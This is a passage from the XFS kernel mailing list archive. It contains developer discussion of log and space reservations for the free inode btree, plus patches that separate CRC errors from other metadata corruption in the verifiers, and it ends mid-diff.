reserve blocks for the potential finobt record insertion on inode > >> free (i.e., if an inode chunk was previously fully allocated). .... > >> + * > >> + * the free inode btree: max depth * block size > >> + * the free inode btree entry: block size > >> + * > >> + * TODO: is the modify res really necessary? covered by the merge/split res? > >> + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? > > > > The modify case is for an allocation that only updates an inobt > > record (i.e. chunk already allocated, free inodes in it). Because > > we can remove a finobt record when "modifying" the last free inode > > record in a chunk, "modify" can cause a redcord removal and hence a > > tree merge. In which case it's no different of any of the other > > finobt reservations.... > > When I made this note, I think I was curious why there was a need to add > to the reservation in the modify case. If we always made a reservation > for a btree merge, wouldn't that be enough to cover the basic modify > case? The two cases are kept separate because if we ever separate inode chunk allocation from individual inode allocation from an allocated chunk, then we need the different reservations. if you go back to the original RFD series that documented the finobt, it also discusses this separation and the optimisations in inode management that such a separation brings. Hence we should not assume that an inode chunk allocation reservation covers the reservation of an inode allocation from an allocated chunk. > In the code, it looks like we either delete the record or modify > it. Is there something in the delete case that I'm missing, or are we > just being conservative here? Nonetheless, I modelled this after the > ifree requirements, assuming the reservation there was correct. But the ifree requirement changed, didn't they? i.e. Because the first inode freed in a chunk can now trigger allocation. Basically, we have these cases: Allocation: - allocate chunk, insert inobt rec, insert finobt rec - allocate inode, modify inobt rec, modify finobt rec - allocate inode, modify inobt rec, remove finobt rec The first case is obvious in that it needs to allocate blocks for the inode chunk, but also possibly the inbot and finobt need allocations too (split). The second case obvious doesn't allocate any blocks at all, and tha tis the existing "modify reservation" The third case is the new "modify reservation" case, where the removal of a finobt record can cause a merge and hence freeing of a block. That's the case we need to make sure we have the corerct reservation for. In the case of ifree, it is similar: - free inode, modify inobt rec, insert finobt rec - free inode, modify inobt rec, modify finobt rec - free chunk, remove inobt rec, remove finobt rec And so it is clear that the same new case occurs here. however, the ifree transaction reservation is not split up like the create transaction, so it already takes into account allocation/freeing of blocks and hence didn't need updating. > >> @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( > >> * the superblock for the nlink flag: sector size > >> * the directory btree: (max depth + v2) * dir block size > >> * the directory inode's bmap btree: (max depth + v2) * block size > >> + * the finobt > >> */ > >> STATIC uint > >> xfs_calc_create_resv_modify( > >> @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( > >> return xfs_calc_inode_res(mp, 2) + > >> xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + > >> (uint)XFS_FSB_TO_B(mp, 1) + > >> - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); > >> + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + > >> + xfs_calc_finobt_res(mp, 1); > >> } > > > > And this is where is starts to get complex. The modify operation can > > now cause a finobt merge, when means blocks will be allocated/freed. > > That means we now need to take into account: > > > > * the allocation btrees: 2 trees * (max depth - 1) * block size > > > > and anything else freeing an extent requires. > > > > So is the "allocation btrees: 2 trees ..." portion of > xfs_calc_create_resv_alloc() associated with the allocation of the > actual inode blocks or potential allocations due to inode btree > management? I had thought the former, thus didn't include reservations > for this in the finobt calculation. This is the log space reservation - so it's a reservation for the number of blocks in the btree that can be *modified* by the transaction. So if we have to allocate a block, we can potentially modify leaf-to-root in both free space trees if they both split or merge during the allocation. Hence any transaction that can allocate or free a block needs to reservae this space in the log for the freespace tree modifications. We have a separate space reservation - as defined in xfs_trans_space.h - which is used to define the worst case metadata block allocation in a given transaction. It is assumed that the log space reservation covers all those blocks being modified, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 19 20:01:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2D8E47F58 for ; Wed, 19 Feb 2014 20:01:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id ED7ED30408C for ; Wed, 19 Feb 2014 18:01:07 -0800 (PST) X-ASG-Debug-ID: 1392861664-04bdf0083a8f4c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id OXfhVNnsjYbliQ0I for ; Wed, 19 Feb 2014 18:01:05 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsQHAPxgBVN5LJYe/2dsb2JhbABYgwaqGpEchVGBGRd0giUBAQQBJxMcIwULCAMOCgkMGQ8FJQMhE4d9B85DFxaOTgcKhC4EmC+SJYFvgVIo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 12:31:04 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGIwf-0004iE-3T; Thu, 20 Feb 2014 13:01:01 +1100 Date: Thu, 20 Feb 2014 13:01:01 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-ID: <20140220020101.GL4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <530393F8.4070106@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530393F8.4070106@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392861664 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145301 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words [patched in the extra case from your subsequent reply] On Tue, Feb 18, 2014 at 12:10:16PM -0500, Brian Foster wrote: > On 02/11/2014 01:46 AM, Dave Chinner wrote: > > On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: > >> Create the xfs_calc_finobt_res() helper to calculate the finobt log > >> reservation for inode allocation and free. Update > >> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt > >> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to > >> reserve blocks for the potential finobt record insertion on inode > >> free (i.e., if an inode chunk was previously fully allocated). > >> > >> Signed-off-by: Brian Foster > >> --- > >> fs/xfs/xfs_inode.c | 4 +++- > >> fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- > >> fs/xfs/xfs_trans_space.h | 7 ++++++- > >> 3 files changed, 52 insertions(+), 6 deletions(-) > >> > >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > >> index 001aa89..57c77ed 100644 > >> --- a/fs/xfs/xfs_inode.c > >> +++ b/fs/xfs/xfs_inode.c > >> @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( > >> int error; > >> > >> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > >> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); > >> + tp->t_flags |= XFS_TRANS_RESERVE; > >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > >> + XFS_IFREE_SPACE_RES(mp), 0); > > > > Can you add a comment explaining why the XFS_TRANS_RESERVE flag is > > used here, and why it's use won't lead to accelerated reserve pool > > depletion? > > > > So this aspect of things appears to be a bit more interesting than I > originally anticipated. I "reserve enabled" this transaction to > facilitate the ability to free up inodes under ENOSPC conditions. > Without this, the problem of failing out of xfs_inactive_ifree() (and > leaving an inode chained on the unlinked list) is easily reproducible > with generic/083. *nod* > The basic argument for why this is reasonable is that releasing an inode > releases used space (i.e., file blocks and potentially directory blocks > and inode chunks over time). That said, I can manufacture situations > where this is not the case. E.g., allocate a bunch of 0-sized files, > consume remaining free space in some separate file, start removing > inodes in a manner that removes a single inode per chunk or so. This > creates a scenario where the inobt can be very large and the finobt very > small (likely a single record). Removing the inodes in this manner > reduces the likelihood of freeing up any space and thus rapidly grows > the finobt towards the size of the inobt without any free space > available. This might or might not qualify as sane use of the fs, but I > don't think the failure scenario is acceptable as things currently stand. Right, that can happen. But my question is this: how realistic is it that we have someone who has ENOSPC because of enough zero length files to trigger this? I've never seen an application or user try to store any significant number of zero length files, so I suspect this is a theoretical problem, not a practical one. Indeed, the finobt only needs to grow a block for every 250-odd records for a 4k block size filesystem. Hence, IMO, the default reserve pool size of 8192 filesystem blocks is going be sufficient for most users. i.e. the case you are talking about requires (ignoring node block usage for simplicity) 250 * 8192 * 64 = 131 million zero length inodes to be present in the filesystem to have this "1 inode per chunk" freeing pattern exhaust the default reserve pool with finobt tree allocations.... > I think there are several ways this can go from here. A couple ideas > that have crossed my mind: > > - Find a way to variably reserve the number of blocks that would be > required to grow the finobt to the finobt, based on current state. This Not sure what "grow the finobt to the finobt" means. There's a typo or a key word missing there ;) > would require the total number of blocks (not just enough for a split), > so this could get complex and somewhat overbearing (i.e., a lot of space > could be quietly reserved, current tracking might not be sufficient and > the allocation paths could get hairy). Doesn't seem worth the complexity to me. > - Work to push the ifree transaction allocation and reservation to the > unlink codepath rather than the eviction codepath. Under normal > circumstances, chain the tp to the xfs_inode such that the eviction code > path can grab it and run. This prevents us going into the state where an > inode is unlinked without having enough space to free up. On the flip > side, ENOSPC on unlink isn't very forgiving behavior to the user. That's the long term plan anyway - to move to background freeing of the inodes once they are on the unlinked list and unreferenced by the VFS. But, really, once the inode is on the unlinked list we can probably ignore the ENOSPC problem because we know that it is unlinked. Indeed, the long term plan (along with background freeing) is to allow inode allocation direct from the unlinked lists, and that means we could leave the inodes on the unlinked lists and not care about the ENOSPC problem at all ;) > - Add some state or flags bits to the finobt and the associated > ability to kill/invalidate it at runtime. Print a warning with > regard to the situation that indicates performance might be > affected and a repair is required to re-enable. We've already got that state through the unlinked lists. Again, go back to the RFD series and look through the followup work.... > > I think the former approach is probably overkill for something that > might be a pathological situation. The latter approach is more simple, > but it feels like a bit of a hack. I've experimented with it a bit, but > I'm not quite sure yet if it introduces any transaction issues by > allocating the unlink and ifree transactions at the same time. > > Perhaps another argument could be made that it's rather unlikely we run > into an fs with as many 0-sized (or sub-inode chunk sized) files as > required to deplete the reserve pool without freeing any space, and we > should just touch up the failure handling. E.g., > > 1.) Continue to reserve enable the ifree transaction. Consider expanding > the reserve pool on finobt-enabled fs' if appropriate. Note that this is > not guaranteed to provide enough resources to populate the finobt to the > level of the inobt without freeing up more space. > 2.) Attempt a !XFS_TRANS_RESERVE tp reservation in xfs_inactive_ifree(). > If fails, xfs_warn()/notice() and enable XFS_TRANS_RESERVE. > 3.) Attempt XFS_TRANS_RESERVE reservation. If fails, xfs_notice() and > shutdown. I don't think we ned to shut down. Indeed, there's no point in doing an !XFS_TRANS_RESERVE in the first place because a warning will just generate unnecessary noise in the logs. Realistically, we can leave inodes on the unlinked list indefinitely without causing any significant problems except for there being used space that users can't account for from the namespace. Log recovery cleans them up when it runs, or blows away the unlinked list when it fails, and that results in leaked inodes. If we get to that point, xfs-repair will clean it up just fine unless there's still not enough space. At that point, it's not a problem we can solve with tools - the user has to free up some space in the filesystem.... > And this could probably be made more intelligent to bail out sooner if > we repeat XFS_TRANS_RESERVE reservations without freeing up any space, > etc. Before going too far in one direction... thoughts? Right now, I just don't think it is a case we need to be pariticularly concerned with. There are plenty of theoretical issues that can occur (including data loss) when the reserve pool is depleted because of prolonged ENOSPC issues, but the reality is that the only place we see this code being exercised is by the tests in xfstests that intentionally trigger reserve pool depletion.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Wed Feb 19 20:58:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4B6BF7FE9 for ; Wed, 19 Feb 2014 20:58:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 31BB48F8081 for ; Wed, 19 Feb 2014 18:58:19 -0800 (PST) X-ASG-Debug-ID: 1392865092-04cbb00c295daf80001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id vPlc6ZkriPkSUFgk for ; Wed, 19 Feb 2014 18:58:12 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id ED051651AC34; Wed, 19 Feb 2014 20:58:11 -0600 (CST) Message-ID: <53056F43.7070005@sandeen.net> Date: Wed, 19 Feb 2014 20:58:11 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: [PATCH 7/9 V2] xfs: add xfs_verifier_error() References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-8-git-send-email-sandeen@redhat.com> X-ASG-Orig-Subj: [PATCH 7/9 V2] xfs: add xfs_verifier_error() In-Reply-To: <1392767549-25574-8-git-send-email-sandeen@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392865092 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We want to distinguish between corruption, CRC errors, etc. In addition, the full stack trace on verifier errors seems less than helpful; it looks more like an oops than corruption. Create a new function to specifically alert the user to verifier errors, which can differentiate between EFSCORRUPTED and CRC mismatches. It doesn't dump stack unless the xfs error level is turned up high. Define a new error message (EFSBADCRC) to clearly identify CRC errors. (Defined to EILSEQ, bad byte sequence) Signed-off-by: Eric Sandeen --- V2: Switch to EBADMSG, use xfs_buf_offset() diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 9995b80..a8b2ecb 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -178,3 +178,28 @@ xfs_corruption_error( xfs_error_report(tag, level, mp, filename, linenum, ra); xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); } + +/* + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid + * values, and omit the stack trace unless the error level is tuned high. + */ +void +xfs_verifier_error( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + xfs_alert(mp, "Metadata %s detected at %pF, block 0x%llx", + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", + __return_address, bp->b_bn); + + xfs_alert(mp, "Unmount and run xfs_repair"); + + if (xfs_error_level >= XFS_ERRLEVEL_LOW) { + xfs_alert(mp, "First 64 bytes of corrupted metadata buffer:"); + xfs_hex_dump(xfs_buf_offset(bp, 0), 64); + } + + if (xfs_error_level >= XFS_ERRLEVEL_HIGH) + xfs_stack_trace(); +} diff --git a/fs/xfs/xfs_error.h b/fs/xfs/xfs_error.h index 079a367..c1c57d4 100644 --- a/fs/xfs/xfs_error.h +++ b/fs/xfs/xfs_error.h @@ -34,6 +34,7 @@ extern void xfs_error_report(const char *tag, int level, struct xfs_mount *mp, extern void xfs_corruption_error(const char *tag, int level, struct xfs_mount *mp, void *p, const char *filename, int linenum, inst_t *ra); +extern void xfs_verifier_error(struct xfs_buf *bp); #define XFS_ERROR_REPORT(e, lvl, mp) \ xfs_error_report(e, lvl, mp, __FILE__, __LINE__, __return_address) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index e8fed74..825249d 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -179,6 +179,7 @@ typedef __uint64_t __psunsigned_t; #define ENOATTR ENODATA /* Attribute not found */ #define EWRONGFS EINVAL /* Mount with wrong filesystem type */ #define EFSCORRUPTED EUCLEAN /* Filesystem is corrupted */ +#define EFSBADCRC EBADMSG /* Bad CRC detected */ #define SYNCHRONIZE() barrier() #define __return_address __builtin_return_address(0) From sandeen@sandeen.net Wed Feb 19 21:10:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 613887FF6 for ; Wed, 19 Feb 2014 21:10:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF73EAC004 for ; Wed, 19 Feb 2014 19:10:07 -0800 (PST) X-ASG-Debug-ID: 1392865801-04cb6c06cf2cc560001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Avd64ZvW0hdUKDhK for ; Wed, 19 Feb 2014 19:10:02 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 57B066538487; Wed, 19 Feb 2014 21:10:01 -0600 (CST) Message-ID: <53057208.3010308@sandeen.net> Date: Wed, 19 Feb 2014 21:10:00 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: [PATCH 9/9 V2] xfs: modify verifiers to differentiate CRC from other errors References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-10-git-send-email-sandeen@redhat.com> X-ASG-Orig-Subj: [PATCH 9/9 V2] xfs: modify verifiers to differentiate CRC from other errors In-Reply-To: <1392767549-25574-10-git-send-email-sandeen@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392865801 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Modify all read & write verifiers to differentiate between CRC errors and other inconsistencies. This sets the appropriate error number on bp->b_error, and then calls xfs_verifier_error() if something went wrong. That function will issue the appropriate message to the user. Signed-off-by: Eric Sandeen --- V2: Fix inexplicably lost XFS_*_CRC_OFF macros, and rework xfs_agi_read_verify() to be similar to other verifiers, per Brian's review diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 9c7cf3d..c1cf6a3 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -474,7 +474,6 @@ xfs_agfl_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agfl_ok = 1; /* * There is no verification of non-crc AGFLs because mkfs does not @@ -485,14 +484,13 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); - - agfl_ok = agfl_ok && xfs_agfl_verify(bp); - - if (!agfl_ok) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_agfl_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -507,8 +505,8 @@ xfs_agfl_write_verify( return; if (!xfs_agfl_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -2236,18 +2234,17 @@ xfs_agf_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agf_ok = 1; - - if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); - agf_ok = agf_ok && xfs_agf_verify(mp, bp); - - if (unlikely(XFS_TEST_ERROR(!agf_ok, mp, XFS_ERRTAG_ALLOC_READ_AGF, - XFS_RANDOM_ALLOC_READ_AGF))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agf_verify(mp, bp), mp, + XFS_ERRTAG_ALLOC_READ_AGF, + XFS_RANDOM_ALLOC_READ_AGF)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -2258,8 +2255,8 @@ xfs_agf_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 144d3b0..cc1eadc 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -355,12 +355,14 @@ static void xfs_allocbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_allocbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_allocbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -370,9 +372,8 @@ xfs_allocbt_write_verify( { if (!xfs_allocbt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index b552378..fe9587f 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -213,8 +213,8 @@ xfs_attr3_leaf_write_verify( struct xfs_attr3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -239,12 +239,14 @@ xfs_attr3_leaf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || - !xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_attr3_leaf_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_attr3_leaf_buf_ops = { diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 5549d69..6e37823 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -125,7 +125,6 @@ xfs_attr3_rmt_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; - bool corrupt = false; xfs_daddr_t bno; /* no verification of non-crc buffers */ @@ -140,11 +139,11 @@ xfs_attr3_rmt_read_verify( while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); @@ -152,10 +151,9 @@ xfs_attr3_rmt_read_verify( bno += mp->m_bsize; } - if (corrupt) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } else + if (bp->b_error) + xfs_verifier_error(bp); + else ASSERT(len == 0); } @@ -180,9 +178,8 @@ xfs_attr3_rmt_write_verify( while (len > 0) { if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - XFS_CORRUPTION_ERROR(__func__, - XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } if (bip) { diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 706bc3f..818d546 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -780,12 +780,14 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_lblock_verify_crc(bp) && - xfs_bmbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_lblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_bmbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -794,11 +796,9 @@ xfs_bmbt_write_verify( struct xfs_buf *bp) { if (!xfs_bmbt_verify(bp)) { - xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_lblock_calc_crc(bp); diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 75ef990..1f5af79 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -185,8 +185,8 @@ xfs_da3_node_write_verify( struct xfs_da3_node_hdr *hdr3 = bp->b_addr; if (!xfs_da3_node_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, 